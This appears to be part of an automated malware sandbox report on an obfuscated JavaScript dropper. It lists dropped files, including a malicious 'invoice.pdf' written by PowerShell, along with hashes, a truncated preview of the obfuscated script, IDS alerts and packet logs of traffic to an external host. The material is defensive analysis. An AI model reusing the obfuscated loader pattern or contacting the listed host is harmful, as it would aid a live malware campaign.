Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\94f8d02b-1541-4846-ad98-d02aa6f35a7c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18047), with CRLF line terminators
Entropy (8bit):	4.8936613111908684
TrID:
File name:	273371081152046820.js
File size:	21'433 bytes
MD5:	ed51a61b659f9e7c0cfd9fc6880692cb
SHA1:	aaf233a4c46dc2440f71403a8905b7e4aa9a9fa8
SHA256:	636bc4bacbdca6c22bd8a1d0daaf6c6910067357dd5be322ca076fe28e25593b
SHA512:	7c94db9f789458c9719b24f6fae5b78e6fd35adbe3fbff03c42ed3f0d6428ee0a739ee828aafbf4a4c3ca6cbb31b4e6047b346447583d4827056a679d2f56fd4
SSDEEP:	384:/P9oBVwniZfP3Zy1oZju2qFqGMNruxiyegNYMu+PUO5e0z41sjrNxB:3gZMwjq7S0Yj+PUd1sDB
TLSH:	48A253868E18D6878FFA84EC451B58CA43CD134A46D4B89F540B56B1CC06BA3E6FF1BC
File Content Preview:	function vghophl(){vrnqd=[1031,3079,5127,4103,2055,3072];var xpduug=this[zkmejan+tloxifhi+ebtnsc+xondh+zosff+ultsopfw+vmsshy+jvhls](this[dnlhd+movidguz+opbkrba+ebtnsc+cvoslsthx+zkmejan+jvhls][qrofjzpm+ebtnsc+zosff+tloxifhi+jvhls+zosff+lcvvp+bzexkyapz+btya

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:19:12.942622+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-10T22:19:15.493476+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:19:12.093326092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:12.099508047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:12.103926897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:12.111713886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:12.116497993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:12.942487001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:12.942531109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:12.942621946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:12.942666054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:12.942678928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:12.942715883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:12.942749023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:12.942749977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:12.942784071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:12.942790985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:12.942817926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:12.942852020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:12.942884922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:12.942886114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:12.942958117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:12.947829008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:12.988744974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:12.988764048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:12.988867998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.059858084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.059878111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.059890985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.060003042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.060014963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.060030937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.060039997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.060054064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.060079098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.060079098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.060684919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.060714006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.060734987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.060740948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.060751915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.060765028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.060781956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.060816050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.061754942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.061774969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.061789989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.061805964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.061822891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.061827898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.061852932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.062676907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.062695980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.062825918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.078697920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.078718901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.078732967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.078809977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.078846931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.080863953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.080897093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.080936909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.147702932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.147716999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.147809982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.152108908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.152118921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.152193069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.177067995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.177098036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.177109003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.177124977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.177138090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.177226067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.177419901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.177431107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.177448034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.177457094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.177457094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.177508116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.177778959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.177789927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.177800894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.177814007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.177843094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.177879095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.178298950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.178379059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.178391933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.178404093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.178415060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.178417921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.178430080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.178442001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.178472996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.179267883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.179282904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.179294109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.179303885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.179310083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.179330111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.179339886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.179379940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.180094004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.180107117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.180119038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.180129051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.180140972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.180149078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.180156946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.180218935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.180896044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.180974960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.180986881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.180999041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.181010008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.181021929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.181021929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.181042910 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.181073904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.181904078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.181919098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.181929111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.181937933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.181943893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.181983948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.218525887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.218592882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.218599081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.218611002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.218624115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.218799114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.244612932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.244630098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.244703054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.265070915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.265105009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.265120983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.265192986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.265196085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.265229940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.269367933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.269381046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.269432068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.294234991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.294265032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.294277906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.294310093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.294321060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.294332981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.294334888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.294351101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.294363022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.294387102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.294399023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.294410944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.294421911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.294450045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.294481993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.294804096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.294815063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.294863939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.294863939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.294883966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.294895887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.294914961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.295031071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.295052052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.295063972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.295074940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.295078039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.295089960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.295099020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.295101881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.295119047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.295130968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.295130968 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.295175076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.295918941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.295929909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.295943022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.295953035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.295965910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.295978069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.295985937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.295989990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.296010017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.296035051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.296339035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.296461105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.296472073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.296483040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.296499968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.296508074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.296509981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.296511889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.296518087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.296519995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.296530008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.296545982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.296591997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.297142982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.297280073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.297291994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.297302961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.297317028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.297327995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.297329903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.297339916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.297353983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.297363043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.297365904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.297378063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.297386885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.297390938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.297410011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.297435045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.298229933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.298249006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.298264027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.298274994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.298276901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.298289061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.298300028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.298310995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.298319101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.298324108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.298337936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.298347950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.298353910 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.298361063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.298383951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.298408985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.299025059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.303212881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.310939074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.310967922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.310982943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.310995102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.311009884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.311028957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.311073065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.313193083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:19:13.336693048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.336723089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 22:19:13.336735010 CET	80	49704	193.143.1.205	192.168.2.8
